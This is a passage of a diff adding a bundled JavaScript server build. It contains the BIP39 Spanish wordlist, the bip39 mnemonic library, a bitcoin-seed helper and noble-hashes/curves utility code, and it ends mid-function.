+ "nasal", + "natal", + "nativo", + "natural", + "náusea", + "naval", + "nave", + "navidad", + "necio", + "néctar", + "negar", + "negocio", + "negro", + "neón", + "nervio", + "neto", + "neutro", + "nevar", + "nevera", + "nicho", + "nido", + "niebla", + "nieto", + "niñez", + "niño", + "nítido", + "nivel", + "nobleza", + "noche", + "nómina", + "noria", + "norma", + "norte", + "nota", + "noticia", + "novato", + "novela", + "novio", + "nube", + "nuca", + "núcleo", + "nudillo", + "nudo", + "nuera", + "nueve", + "nuez", + "nulo", + "número", + "nutria", + "oasis", + "obeso", + "obispo", + "objeto", + "obra", + "obrero", + "observar", + "obtener", + "obvio", + "oca", + "ocaso", + "océano", + "ochenta", + "ocho", + "ocio", + "ocre", + "octavo", + "octubre", + "oculto", + "ocupar", + "ocurrir", + "odiar", + "odio", + "odisea", + "oeste", + "ofensa", + "oferta", + "oficio", + "ofrecer", + "ogro", + "oído", + "oír", + "ojo", + "ola", + "oleada", + "olfato", + "olivo", + "olla", + "olmo", + "olor", + "olvido", + "ombligo", + "onda", + "onza", + "opaco", + "opción", + "ópera", + "opinar", + "oponer", + "optar", + "óptica", + "opuesto", + "oración", + "orador", + "oral", + "órbita", + "orca", + "orden", + "oreja", + "órgano", + "orgía", + "orgullo", + "oriente", + "origen", + "orilla", + "oro", + "orquesta", + "oruga", + "osadía", + "oscuro", + "osezno", + "oso", + "ostra", + "otoño", + "otro", + "oveja", + "óvulo", + "óxido", + "oxígeno", + "oyente", + "ozono", + "pacto", + "padre", + "paella", + "página", + "pago", + "país", + "pájaro", + "palabra", + "palco", + "paleta", + "pálido", + "palma", + "paloma", + "palpar", + "pan", + "panal", + "pánico", + "pantera", + "pañuelo", + "papá", + "papel", + "papilla", + "paquete", + "parar", + "parcela", + "pared", + "parir", + "paro", + "párpado", + "parque", + "párrafo", + "parte", + "pasar", + "paseo", + "pasión", + "paso", + "pasta", + "pata", + "patio", + "patria", + "pausa", + "pauta", + "pavo", + "payaso", + "peatón", + "pecado", + "pecera", + "pecho", + "pedal", + "pedir", + "pegar", + "peine", + "pelar", + "peldaño", + "pelea", + "peligro", + "pellejo", + "pelo", + "peluca", + "pena", + "pensar", + "peñón", + "peón", + "peor", + "pepino", + "pequeño", + "pera", + "percha", + "perder", + "pereza", + "perfil", + "perico", + "perla", + "permiso", + "perro", + "persona", + "pesa", + "pesca", + "pésimo", + "pestaña", + "pétalo", + "petróleo", + "pez", + "pezuña", + "picar", + "pichón", + "pie", + "piedra", + "pierna", + "pieza", + "pijama", + "pilar", + "piloto", + "pimienta", + "pino", + "pintor", + "pinza", + "piña", + "piojo", + "pipa", + "pirata", + "pisar", + "piscina", + "piso", + "pista", + "pitón", + "pizca", + "placa", + "plan", + "plata", + "playa", + "plaza", + "pleito", + "pleno", + "plomo", + "pluma", + "plural", + "pobre", + "poco", + "poder", + "podio", + "poema", + "poesía", + "poeta", + "polen", + "policía", + "pollo", + "polvo", + "pomada", + "pomelo", + "pomo", + "pompa", + "poner", + "porción", + "portal", + "posada", + "poseer", + "posible", + "poste", + "potencia", + "potro", + "pozo", + "prado", + "precoz", + "pregunta", + "premio", + "prensa", + "preso", + "previo", + "primo", + "príncipe", + "prisión", + "privar", + "proa", + "probar", + "proceso", + "producto", + "proeza", + "profesor", + "programa", + "prole", + "promesa", + "pronto", + "propio", + "próximo", + "prueba", + "público", + "puchero", + "pudor", + "pueblo", + "puerta", + "puesto", + "pulga", + "pulir", + "pulmón", + "pulpo", + "pulso", + "puma", + "punto", + "puñal", + "puño", + "pupa", + "pupila", + "puré", + "quedar", + "queja", + "quemar", + "querer", + "queso", + "quieto", + "química", + "quince", + "quitar", + "rábano", + "rabia", + "rabo", + "ración", + "radical", + "raíz", + "rama", + "rampa", + "rancho", + "rango", + "rapaz", + "rápido", + "rapto", + "rasgo", + "raspa", + "rato", + "rayo", + "raza", + "razón", + "reacción", + "realidad", + "rebaño", + "rebote", + "recaer", + "receta", + "rechazo", + "recoger", + "recreo", + "recto", + "recurso", + "red", + "redondo", + "reducir", + "reflejo", + "reforma", + "refrán", + "refugio", + "regalo", + "regir", + "regla", + "regreso", + "rehén", + "reino", + "reír", + "reja", + "relato", + "relevo", + "relieve", + "relleno", + "reloj", + "remar", + "remedio", + "remo", + "rencor", + "rendir", + "renta", + "reparto", + "repetir", + "reposo", + "reptil", + "res", + "rescate", + "resina", + "respeto", + "resto", + "resumen", + "retiro", + "retorno", + "retrato", + "reunir", + "revés", + "revista", + "rey", + "rezar", + "rico", + "riego", + "rienda", + "riesgo", + "rifa", + "rígido", + "rigor", + "rincón", + "riñón", + "río", + "riqueza", + "risa", + "ritmo", + "rito", + "rizo", + "roble", + "roce", + "rociar", + "rodar", + "rodeo", + "rodilla", + "roer", + "rojizo", + "rojo", + "romero", + "romper", + "ron", + "ronco", + "ronda", + "ropa", + "ropero", + "rosa", + "rosca", + "rostro", + "rotar", + "rubí", + "rubor", + "rudo", + "rueda", + "rugir", + "ruido", + "ruina", + "ruleta", + "rulo", + "rumbo", + "rumor", + "ruptura", + "ruta", + "rutina", + "sábado", + "saber", + "sabio", + "sable", + "sacar", + "sagaz", + "sagrado", + "sala", + "saldo", + "salero", + "salir", + "salmón", + "salón", + "salsa", + "salto", + "salud", + "salvar", + "samba", + "sanción", + "sandía", + "sanear", + "sangre", + "sanidad", + "sano", + "santo", + "sapo", + "saque", + "sardina", + "sartén", + "sastre", + "satán", + "sauna", + "saxofón", + "sección", + "seco", + "secreto", + "secta", + "sed", + "seguir", + "seis", + "sello", + "selva", + "semana", + "semilla", + "senda", + "sensor", + "señal", + "señor", + "separar", + "sepia", + "sequía", + "ser", + "serie", + "sermón", + "servir", + "sesenta", + "sesión", + "seta", + "setenta", + "severo", + "sexo", + "sexto", + "sidra", + "siesta", + "siete", + "siglo", + "signo", + "sílaba", + "silbar", + "silencio", + "silla", + "símbolo", + "simio", + "sirena", + "sistema", + "sitio", + "situar", + "sobre", + "socio", + "sodio", + "sol", + "solapa", + "soldado", + "soledad", + "sólido", + "soltar", + "solución", + "sombra", + "sondeo", + "sonido", + "sonoro", + "sonrisa", + "sopa", + "soplar", + "soporte", + "sordo", + "sorpresa", + "sorteo", + "sostén", + "sótano", + "suave", + "subir", + "suceso", + "sudor", + "suegra", + "suelo", + "sueño", + "suerte", + "sufrir", + "sujeto", + "sultán", + "sumar", + "superar", + "suplir", + "suponer", + "supremo", + "sur", + "surco", + "sureño", + "surgir", + "susto", + "sutil", + "tabaco", + "tabique", + "tabla", + "tabú", + "taco", + "tacto", + "tajo", + "talar", + "talco", + "talento", + "talla", + "talón", + "tamaño", + "tambor", + "tango", + "tanque", + "tapa", + "tapete", + "tapia", + "tapón", + "taquilla", + "tarde", + "tarea", + "tarifa", + "tarjeta", + "tarot", + "tarro", + "tarta", + "tatuaje", + "tauro", + "taza", + "tazón", + "teatro", + "techo", + "tecla", + "técnica", + "tejado", + "tejer", + "tejido", + "tela", + "teléfono", + "tema", + "temor", + "templo", + "tenaz", + "tender", + "tener", + "tenis", + "tenso", + "teoría", + "terapia", + "terco", + "término", + "ternura", + "terror", + "tesis", + "tesoro", + "testigo", + "tetera", + "texto", + "tez", + "tibio", + "tiburón", + "tiempo", + "tienda", + "tierra", + "tieso", + "tigre", + "tijera", + "tilde", + "timbre", + "tímido", + "timo", + "tinta", + "tío", + "típico", + "tipo", + "tira", + "tirón", + "titán", + "títere", + "título", + "tiza", + "toalla", + "tobillo", + "tocar", + "tocino", + "todo", + "toga", + "toldo", + "tomar", + "tono", + "tonto", + "topar", + "tope", + "toque", + "tórax", + "torero", + "tormenta", + "torneo", + "toro", + "torpedo", + "torre", + "torso", + "tortuga", + "tos", + "tosco", + "toser", + "tóxico", + "trabajo", + "tractor", + "traer", + "tráfico", + "trago", + "traje", + "tramo", + "trance", + "trato", + "trauma", + "trazar", + "trébol", + "tregua", + "treinta", + "tren", + "trepar", + "tres", + "tribu", + "trigo", + "tripa", + "triste", + "triunfo", + "trofeo", + "trompa", + "tronco", + "tropa", + "trote", + "trozo", + "truco", + "trueno", + "trufa", + "tubería", + "tubo", + "tuerto", + "tumba", + "tumor", + "túnel", + "túnica", + "turbina", + "turismo", + "turno", + "tutor", + "ubicar", + "úlcera", + "umbral", + "unidad", + "unir", + "universo", + "uno", + "untar", + "uña", + "urbano", + "urbe", + "urgente", + "urna", + "usar", + "usuario", + "útil", + "utopía", + "uva", + "vaca", + "vacío", + "vacuna", + "vagar", + "vago", + "vaina", + "vajilla", + "vale", + "válido", + "valle", + "valor", + "válvula", + "vampiro", + "vara", + "variar", + "varón", + "vaso", + "vecino", + "vector", + "vehículo", + "veinte", + "vejez", + "vela", + "velero", + "veloz", + "vena", + "vencer", + "venda", + "veneno", + "vengar", + "venir", + "venta", + "venus", + "ver", + "verano", + "verbo", + "verde", + "vereda", + "verja", + "verso", + "verter", + "vía", + "viaje", + "vibrar", + "vicio", + "víctima", + "vida", + "vídeo", + "vidrio", + "viejo", + "viernes", + "vigor", + "vil", + "villa", + "vinagre", + "vino", + "viñedo", + "violín", + "viral", + "virgo", + "virtud", + "visor", + "víspera", + "vista", + "vitamina", + "viudo", + "vivaz", + "vivero", + "vivir", + "vivo", + "volcán", + "volumen", + "volver", + "voraz", + "votar", + "voto", + "voz", + "vuelo", + "vulgar", + "yacer", + "yate", + "yegua", + "yema", + "yerno", + "yeso", + "yodo", + "yoga", + "yogur", + "zafiro", + "zanja", + "zapato", + "zarza", + "zona", + "zorro", + "zumo", + "zurdo" + ]; +}); + +// node_modules/bip39/index.js +var require_bip39 = __commonJS((exports, module) => { + var Buffer2 = require_safe_buffer().Buffer; + var createHash = require_create_hash(); + var _pbkdf2 = require_pbkdf2(); + var pbkdf2 = _pbkdf2.pbkdf2Sync; + var pbkdf2Async = _pbkdf2.pbkdf2; + var randomBytes = require_randombytes(); + var unorm = require_unorm(); + var CHINESE_SIMPLIFIED_WORDLIST = require_chinese_simplified(); + var CHINESE_TRADITIONAL_WORDLIST = require_chinese_traditional(); + var ENGLISH_WORDLIST = require_english(); + var FRENCH_WORDLIST = require_french(); + var ITALIAN_WORDLIST = require_italian(); + var JAPANESE_WORDLIST = require_japanese(); + var KOREAN_WORDLIST = require_korean(); + var SPANISH_WORDLIST = require_spanish(); + var DEFAULT_WORDLIST = ENGLISH_WORDLIST; + var INVALID_MNEMONIC = "Invalid mnemonic"; + var INVALID_ENTROPY = "Invalid entropy"; + var INVALID_CHECKSUM = "Invalid mnemonic checksum"; + function lpad(str, padString, length) { + while (str.length < length) + str = padString + str; + return str; + } + function binaryToByte(bin) { + return parseInt(bin, 2); + } + function bytesToBinary(bytes) { + return bytes.map(function(x) { + return lpad(x.toString(2), "0", 8); + }).join(""); + } + function deriveChecksumBits(entropyBuffer) { + var ENT = entropyBuffer.length * 8; + var CS = ENT / 32; + var hash = createHash("sha256").update(entropyBuffer).digest(); + return bytesToBinary([].slice.call(hash)).slice(0, CS); + } + function salt(password) { + return "mnemonic" + (password || ""); + } + function mnemonicToSeed(mnemonic, password) { + var mnemonicBuffer = Buffer2.from(unorm.nfkd(mnemonic), "utf8"); + var saltBuffer = Buffer2.from(salt(unorm.nfkd(password)), "utf8"); + return pbkdf2(mnemonicBuffer, saltBuffer, 2048, 64, "sha512"); + } + function mnemonicToSeedHex(mnemonic, password) { + return mnemonicToSeed(mnemonic, password).toString("hex"); + } + function mnemonicToSeedAsync(mnemonic, password) { + return new Promise(function(resolve, reject) { + try { + var mnemonicBuffer = Buffer2.from(unorm.nfkd(mnemonic), "utf8"); + var saltBuffer = Buffer2.from(salt(unorm.nfkd(password)), "utf8"); + } catch (error) { + return reject(error); + } + pbkdf2Async(mnemonicBuffer, saltBuffer, 2048, 64, "sha512", function(err, data) { + if (err) + return reject(err); + else + return resolve(data); + }); + }); + } + function mnemonicToSeedHexAsync(mnemonic, password) { + return mnemonicToSeedAsync(mnemonic, password).then(function(buf) { + return buf.toString("hex"); + }); + } + function mnemonicToEntropy(mnemonic, wordlist) { + wordlist = wordlist || DEFAULT_WORDLIST; + var words = unorm.nfkd(mnemonic).split(" "); + if (words.length % 3 !== 0) + throw new Error(INVALID_MNEMONIC); + var bits = words.map(function(word) { + var index = wordlist.indexOf(word); + if (index === -1) + throw new Error(INVALID_MNEMONIC); + return lpad(index.toString(2), "0", 11); + }).join(""); + var dividerIndex = Math.floor(bits.length / 33) * 32; + var entropyBits = bits.slice(0, dividerIndex); + var checksumBits = bits.slice(dividerIndex); + var entropyBytes = entropyBits.match(/(.{1,8})/g).map(binaryToByte); + if (entropyBytes.length < 16) + throw new Error(INVALID_ENTROPY); + if (entropyBytes.length > 32) + throw new Error(INVALID_ENTROPY); + if (entropyBytes.length % 4 !== 0) + throw new Error(INVALID_ENTROPY); + var entropy = Buffer2.from(entropyBytes); + var newChecksum = deriveChecksumBits(entropy); + if (newChecksum !== checksumBits) + throw new Error(INVALID_CHECKSUM); + return entropy.toString("hex"); + } + function entropyToMnemonic(entropy, wordlist) { + if (!Buffer2.isBuffer(entropy)) + entropy = Buffer2.from(entropy, "hex"); + wordlist = wordlist || DEFAULT_WORDLIST; + if (entropy.length < 16) + throw new TypeError(INVALID_ENTROPY); + if (entropy.length > 32) + throw new TypeError(INVALID_ENTROPY); + if (entropy.length % 4 !== 0) + throw new TypeError(INVALID_ENTROPY); + var entropyBits = bytesToBinary([].slice.call(entropy)); + var checksumBits = deriveChecksumBits(entropy); + var bits = entropyBits + checksumBits; + var chunks = bits.match(/(.{1,11})/g); + var words = chunks.map(function(binary) { + var index = binaryToByte(binary); + return wordlist[index]; + }); + return wordlist === JAPANESE_WORDLIST ? words.join(" ") : words.join(" "); + } + function generateMnemonic(strength, rng, wordlist) { + strength = strength || 128; + if (strength % 32 !== 0) + throw new TypeError(INVALID_ENTROPY); + rng = rng || randomBytes; + return entropyToMnemonic(rng(strength / 8), wordlist); + } + function validateMnemonic(mnemonic, wordlist) { + try { + mnemonicToEntropy(mnemonic, wordlist); + } catch (e) { + return false; + } + return true; + } + module.exports = { + mnemonicToSeed, + mnemonicToSeedAsync, + mnemonicToSeedHex, + mnemonicToSeedHexAsync, + mnemonicToEntropy, + entropyToMnemonic, + generateMnemonic, + validateMnemonic, + wordlists: { + EN: ENGLISH_WORDLIST, + JA: JAPANESE_WORDLIST, + chinese_simplified: CHINESE_SIMPLIFIED_WORDLIST, + chinese_traditional: CHINESE_TRADITIONAL_WORDLIST, + english: ENGLISH_WORDLIST, + french: FRENCH_WORDLIST, + italian: ITALIAN_WORDLIST, + japanese: JAPANESE_WORDLIST, + korean: KOREAN_WORDLIST, + spanish: SPANISH_WORDLIST + } + }; +}); + +// node_modules/bitcoin-seed/src/index.js +var require_src = __commonJS((exports, module) => { + var bip39 = require_bip39(); + var crypto2 = __require("crypto"); + function create() { + var bitcoinSeed = Object.create(null); + bitcoinSeed.isDestroyed = false; + bitcoinSeed.mnemonic = Buffer.alloc(0); + bitcoinSeed.entropy = Buffer.alloc(0); + bitcoinSeed.seed = Buffer.alloc(0); + Object.defineProperty(bitcoinSeed, "mnemonicString", { + get: function() { + return bip39.entropyToMnemonic(bitcoinSeed.entropy.toString("hex")); + } + }); + bitcoinSeed.destroy = function destroy() { + this.seed.fill(0); + this.mnemonic.fill(0); + this.entropy.fill(0); + this.isDestroyed = true; + }; + bitcoinSeed.toJSON = function toJSON() { + throw new Error(" Error: Convert each Buffer to JSON individually."); + }; + bitcoinSeed.serializeOld = function serialize() { + var b = Buffer.alloc(this.seed.length + this.mnemonic.length); + this.seed.copy(b); + this.mnemonic.copy(b, this.seed.length); + return b; + }; + bitcoinSeed.serialize = function serialize() { + var b = Buffer.alloc(this.seed.length + this.entropy.length); + this.seed.copy(b); + this.entropy.copy(b, this.seed.length); + return b; + }; + return bitcoinSeed; + } + function fromBuffer(buffer) { + var bs = create(); + bs.seed = Buffer.alloc(64); + var data = Buffer.alloc(buffer.length - 64); + buffer.copy(data, 0, 64, buffer.length); + if (data.length === 16) { + bs.mnemonic = Buffer.from(bip39.entropyToMnemonic(data.toString("hex")), "utf8"); + data.fill(0); + } else if (data.length === 32) { + bs.mnemonic = Buffer.from(bip39.entropyToMnemonic(data.toString("hex")), "utf8"); + data.fill(0); + } else { + bs.mnemonic = data; + } + bs.entropy = Buffer.from(bip39.mnemonicToEntropy(bs.mnemonic.toString("utf8")), "hex"); + buffer.copy(bs.seed, 0, 0, 64); + return bs; + } + function fromMnemonic(mnemonic, passphrase) { + if (typeof mnemonic !== "string") + throw new Error('fromMnemonic(): Must pass type "string" as mnemonic.'); + var bs = create(); + bs.mnemonic = Buffer.from(mnemonic, "utf8"); + bs.entropy = Buffer.from(bip39.mnemonicToEntropy(mnemonic), "hex"); + bs.seed = bip39.mnemonicToSeed(mnemonic, passphrase); + return bs; + } + function fromEntropy(entropy, passphrase) { + if (!Buffer.isBuffer(entropy)) + throw new Error("fromEntropy(): Must pass a buffer."); + var bs = create(); + var mnemonic = bip39.entropyToMnemonic(entropy.toString("hex")); + bs.mnemonic = Buffer.from(mnemonic, "utf8"); + bs.entropy = entropy; + bs.seed = bip39.mnemonicToSeed(mnemonic, passphrase); + return bs; + } + function fromRandom(options) { + options = options || { entropyFn: function() { + } }; + var rndBytesHex = (options.entropyFn() || crypto2.randomBytes(16)).toString("hex"); + var mnemonic = bip39.entropyToMnemonic(rndBytesHex); + return fromMnemonic(mnemonic, options.passphrase); + } + function isBitcoinSeed(bs) { + return bs.entropy && bs.seed && "isDestroyed" in bs; + } + module.exports = { + create, + isBitcoinSeed, + fromBuffer, + fromEntropy, + fromMnemonic, + fromRandom + }; +}); + +// server.src.js +var import_secure_container = __toESM(require_lib2(), 1); +var import_bitcoin_seed = __toESM(require_src(), 1); +import { gunzipSync, inflateRawSync } from "zlib"; + +// node_modules/@noble/hashes/esm/cryptoNode.js +import * as nc from "node:crypto"; +var crypto2 = nc && typeof nc === "object" && "webcrypto" in nc ? nc.webcrypto : nc && typeof nc === "object" && ("randomBytes" in nc) ? nc : undefined; + +// node_modules/@noble/hashes/esm/utils.js +/*! noble-hashes - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +function isBytes(a) { + return a instanceof Uint8Array || ArrayBuffer.isView(a) && a.constructor.name === "Uint8Array"; +} +function anumber(n) { + if (!Number.isSafeInteger(n) || n < 0) + throw new Error("positive integer expected, got " + n); +} +function abytes(b, ...lengths) { + if (!isBytes(b)) + throw new Error("Uint8Array expected"); + if (lengths.length > 0 && !lengths.includes(b.length)) + throw new Error("Uint8Array expected of length " + lengths + ", got length=" + b.length); +} +function ahash(h) { + if (typeof h !== "function" || typeof h.create !== "function") + throw new Error("Hash should be wrapped by utils.createHasher"); + anumber(h.outputLen); + anumber(h.blockLen); +} +function aexists(instance, checkFinished = true) { + if (instance.destroyed) + throw new Error("Hash instance has been destroyed"); + if (checkFinished && instance.finished) + throw new Error("Hash#digest() has already been called"); +} +function aoutput(out, instance) { + abytes(out); + const min = instance.outputLen; + if (out.length < min) { + throw new Error("digestInto() expects output buffer of length at least " + min); + } +} +function u32(arr) { + return new Uint32Array(arr.buffer, arr.byteOffset, Math.floor(arr.byteLength / 4)); +} +function clean(...arrays) { + for (let i = 0;i < arrays.length; i++) { + arrays[i].fill(0); + } +} +function createView(arr) { + return new DataView(arr.buffer, arr.byteOffset, arr.byteLength); +} +function rotr(word, shift) { + return word << 32 - shift | word >>> shift; +} +function rotl(word, shift) { + return word << shift | word >>> 32 - shift >>> 0; +} +var isLE = /* @__PURE__ */ (() => new Uint8Array(new Uint32Array([287454020]).buffer)[0] === 68)(); +function byteSwap(word) { + return word << 24 & 4278190080 | word << 8 & 16711680 | word >>> 8 & 65280 | word >>> 24 & 255; +} +function byteSwap32(arr) { + for (let i = 0;i < arr.length; i++) { + arr[i] = byteSwap(arr[i]); + } + return arr; +} +var swap32IfBE = isLE ? (u) => u : byteSwap32; +var hasHexBuiltin = /* @__PURE__ */ (() => typeof Uint8Array.from([]).toHex === "function" && typeof Uint8Array.fromHex === "function")(); +var hexes = /* @__PURE__ */ Array.from({ length: 256 }, (_, i) => i.toString(16).padStart(2, "0")); +function bytesToHex(bytes) { + abytes(bytes); + if (hasHexBuiltin) + return bytes.toHex(); + let hex = ""; + for (let i = 0;i < bytes.length; i++) { + hex += hexes[bytes[i]]; + } + return hex; +} +var asciis = { _0: 48, _9: 57, A: 65, F: 70, a: 97, f: 102 }; +function asciiToBase16(ch) { + if (ch >= asciis._0 && ch <= asciis._9) + return ch - asciis._0; + if (ch >= asciis.A && ch <= asciis.F) + return ch - (asciis.A - 10); + if (ch >= asciis.a && ch <= asciis.f) + return ch - (asciis.a - 10); + return; +} +function hexToBytes(hex) { + if (typeof hex !== "string") + throw new Error("hex string expected, got " + typeof hex); + if (hasHexBuiltin) + return Uint8Array.fromHex(hex); + const hl = hex.length; + const al = hl / 2; + if (hl % 2) + throw new Error("hex string expected, got unpadded hex of length " + hl); + const array = new Uint8Array(al); + for (let ai = 0, hi = 0;ai < al; ai++, hi += 2) { + const n1 = asciiToBase16(hex.charCodeAt(hi)); + const n2 = asciiToBase16(hex.charCodeAt(hi + 1)); + if (n1 === undefined || n2 === undefined) { + const char = hex[hi] + hex[hi + 1]; + throw new Error('hex string expected, got non-hex character "' + char + '" at index ' + hi); + } + array[ai] = n1 * 16 + n2; + } + return array; +} +function utf8ToBytes(str) { + if (typeof str !== "string") + throw new Error("string expected"); + return new Uint8Array(new TextEncoder().encode(str)); +} +function toBytes(data) { + if (typeof data === "string") + data = utf8ToBytes(data); + abytes(data); + return data; +} +function kdfInputToBytes(data) { + if (typeof data === "string") + data = utf8ToBytes(data); + abytes(data); + return data; +} +function concatBytes(...arrays) { + let sum = 0; + for (let i = 0;i < arrays.length; i++) { + const a = arrays[i]; + abytes(a); + sum += a.length; + } + const res = new Uint8Array(sum); + for (let i = 0, pad = 0;i < arrays.length; i++) { + const a = arrays[i]; + res.set(a, pad); + pad += a.length; + } + return res; +} +function checkOpts(defaults, opts) { + if (opts !== undefined && {}.toString.call(opts) !== "[object Object]") + throw new Error("options should be object or undefined"); + const merged = Object.assign(defaults, opts); + return merged; +} + +class Hash { +} +function createHasher(hashCons) { + const hashC = (msg) => hashCons().update(toBytes(msg)).digest(); + const tmp = hashCons(); + hashC.outputLen = tmp.outputLen; + hashC.blockLen = tmp.blockLen; + hashC.create = () => hashCons(); + return hashC; +} +function randomBytes(bytesLength = 32) { + if (crypto2 && typeof crypto2.getRandomValues === "function") { + return crypto2.getRandomValues(new Uint8Array(bytesLength)); + } + if (crypto2 && typeof crypto2.randomBytes === "function") { + return Uint8Array.from(crypto2.randomBytes(bytesLength)); + } + throw new Error("crypto.getRandomValues must be defined"); +} + +// node_modules/@noble/curves/esm/utils.js +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +var _0n = /* @__PURE__ */ BigInt(0); +var _1n = /* @__PURE__ */ BigInt(1); +function _abool2(value, title = "") { + if (typeof value !== "boolean") { + const prefix = title && `"${title}"`; + throw new Error(prefix + "expected boolean, got type=" + typeof value); + } + return value; +} +function _abytes2(value, length, title = "") { + const bytes = isBytes(value); + const len = value?.length; + const needsLen = length !== undefined; + if (!bytes || needsLen && len !== length) { + const prefix = title && `"${title}" `; + const ofLen = needsLen ? ` of length ${length}` : ""; + const got = bytes ? `length=${len}` : `type=${typeof value}`; + throw new Error(prefix + "expected Uint8Array" + ofLen + ", got " + got); + } + return value; +} +function numberToHexUnpadded(num) { + const hex = num.toString(16); + return hex.length & 1 ? "0" + hex : hex; +} +function hexToNumber(hex) { + if (typeof hex !== "string") + throw new Error("hex string expected, got " + typeof hex); + return hex === "" ? _0n : BigInt("0x" + hex); +} +function bytesToNumberBE(bytes) { + return hexToNumber(bytesToHex(bytes)); +} +function bytesToNumberLE(bytes) { + abytes(bytes); + return hexToNumber(bytesToHex(Uint8Array.from(bytes).reverse())); +} +function numberToBytesBE(n, len) { + return hexToBytes(n.toString(16).padStart(len * 2, "0")); +} +function numberToBytesLE(n, len) { + return numberToBytesBE(n, len).reverse(); +} +function ensureBytes(title, hex, expectedLength) { + let res; + if (typeof hex === "string") { + try { + res = hexToBytes(hex); + } catch (e) { + throw new Error(title + " must be hex string or Uint8Array, cause: " + e); + } + } else if (isBytes(hex)) { + res = Uint8Array.from(hex); + } else { + throw new Error(title + " must be hex string or Uint8Array"); + } + const len = res.length; + if (typeof expectedLength === "number" && len !== expectedLength) + throw new Error(title + " of length " + expectedLength + " expected, got " + len); + return res; +} +var isPosBig = (n) => typeof n === "bigint" && _0n <= n; +function inRange(n, min, max) { + return isPosBig(n) && isPosBig(min) && isPosBig(max) && min <= n && n < max; +} +function aInRange(title, n, min, max) { + if (!inRange(n, min, max)) + throw new Error("expected valid " + title + ": " + min + " <= n < " + max + ", got " + n); +} +function bitLen(n) { + let len; + for (len = 0;n > _0n; n >>= _1n, len += 1) + ; + return len; +} +var bitMask = (n) => (_1n << BigInt(n)) - _1n; +function createHmacDrbg(hashLen, qByteLen, hmacFn) { + if (typeof hashLen !== "number" || hashLen < 2) + throw new Error("hashLen must be a number"); + if (typeof qByteLen !== "number" || qByteLen < 2) + throw new Error("qByteLen must be a number"); + if (typeof hmacFn !== "function") + throw new Error("hmacFn must be a function"); + const u8n = (len) => new Uint8Array(len); + const u8of = (byte) => Uint8Array.of(byte); + let v = u8n(hashLen); + let k = u8n(hashLen); + let i = 0; + const reset = () => { + v.fill(1); + k.fill(0); + i = 0; + }; + const h = (...b) => hmacFn(k, v, ...b); + const reseed = (seed = u8n(0)) => { + k = h(u8of(0), seed); + v = h(); + if (seed.length === 0) + return; + k = h(u8of(1), seed); + v = h(); + }; + const gen = () => { + if (i++ >= 1000) + throw new Error("drbg: tried 1000 values"); + let len = 0; + const out = []; + while (len < qByteLen) { + v = h(); + const sl = v.slice(); + out.push(sl); + len += v.length; + } + return concatBytes(...out); + }; + const genUntil = (seed, pred) => { + reset(); + reseed(seed); + let res = undefined; + while (!(res = pred(gen()))) + reseed(); + reset(); + return res; + }; + return genUntil; +} +function _validateObject(object, fields, optFields = {}) { + if (!object || typeof object !== "object") + throw new Error("expected valid options object"); + function checkField(fieldName, expectedType, isOpt) { + const val = object[fieldName]; + if (isOpt && val === undefined) + return; + const current = typeof val; + if (current !== expectedType || val === null) + throw new Error(`param "${fieldName}" is invalid: expected ${expectedType}, got ${current}`); + } + Object.entries(fields).forEach(([k, v]) => checkField(k, v, false)); + Object.entries(optFields).forEach(([k, v]) => checkField(k, v, true)); +} +function memoized(fn) { + const map = new WeakMap; + return (arg, ...args) => { + const val = map.get(arg); + if (val !== undefined) + return val; + const computed = fn(arg, ...args); + map.set(arg, computed); + return computed; + }; +} + +// node_modules/@noble/curves/esm/abstract/modular.js +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +var _0n2 = BigInt(0); +var _1n2 = BigInt(1); +var _2n = /* @__PURE__ */ BigInt(2); +var _3n = /* @__PURE__ */ BigInt(3); +var _4n = /* @__PURE__ */ BigInt(4); +var _5n = /* @__PURE__ */ BigInt(5); +var _7n = /* @__PURE__ */ BigInt(7); +var _8n = /* @__PURE__ */ BigInt(8); +var _9n = /* @__PURE__ */ BigInt(9); +var _16n = /* @__PURE__ */ BigInt(16); +function mod(a, b) { + const result = a % b; + return result >= _0n2 ? result : b + result; +} +function pow2(x, power, modulo) { + let res = x; + while (power-- > _0n2) { + res *= res; + res %= modulo; + } + return res; +} +function invert(number, modulo) { + if (number === _0n2) + throw new Error("invert: expected non-zero number"); + if (modulo <= _0n2) + throw new Error("invert: expected positive modulus, got " + modulo); + let a = mod(number, modulo); + let b = modulo; + let x = _0n2, y = _1n2, u = _1n2, v = _0n2; + while (a !== _0n2) { + const q = b / a; + const r = b % a; + const m = x - u * q; + const n = y - v * q; + b = a, a = r, x = u, y = v, u = m, v = n; + } + const gcd = b; + if (gcd !== _1n2) + throw new Error("invert: does not exist"); + return mod(x, modulo); +} +function assertIsSquare(Fp, root, n) { + if (!Fp.eql(Fp.sqr(root), n)) + throw new Error("Cannot find square root"); +} +function sqrt3mod4(Fp, n) { + const p1div4 = (Fp.ORDER + _1n2) / _4n; + const root = Fp.pow(n, p1div4); + assertIsSquare(Fp, root, n); + return root; +} +function sqrt5mod8(Fp, n) { + const p5div8 = (Fp.ORDER - _5n) / _8n; + const n2 = Fp.mul(n, _2n); + const v = Fp.pow(n2, p5div8); + const nv = Fp.mul(n, v); + const i = Fp.mul(Fp.mul(nv, _2n), v); + const root = Fp.mul(nv, Fp.sub(i, Fp.ONE)); + assertIsSquare(Fp, root, n); + return root; +} +function sqrt9mod16(P) { + const Fp_ = Field(P); + const tn = tonelliShanks(P); + const c1 = tn(Fp_, Fp_.neg(Fp_.ONE)); + const c2 = tn(Fp_, c1); + const c3 = tn(Fp_, Fp_.neg(c1)); + const c4 = (P + _7n) / _16n; + return (Fp, n) => { + let tv1 = Fp.pow(n, c4); + let tv2 = Fp.mul(tv1, c1); + const tv3 = Fp.mul(tv1, c2); + const tv4 = Fp.mul(tv1, c3); + const e1 = Fp.eql(Fp.sqr(tv2), n); + const e2 = Fp.eql(Fp.sqr(tv3), n); + tv1 = Fp.cmov(tv1, tv2, e1); + tv2 = Fp.cmov(tv4, tv3, e2); + const e3 = Fp.eql(Fp.sqr(tv2), n); + const root = Fp.cmov(tv1, tv2, e3); + assertIsSquare(Fp, root, n); + return root; + }; +} +function tonelliShanks(P) { + if (P < _3n) + throw new Error("sqrt is not defined for small field"); + let Q = P - _1n2; + let S = 0; + while (Q % _2n === _0n2) { + Q /= _2n; + S++; + } + let Z = _2n; + const _Fp = Field(P); + while (FpLegendre(_Fp, Z) === 1) { + if (Z++ > 1000) + throw 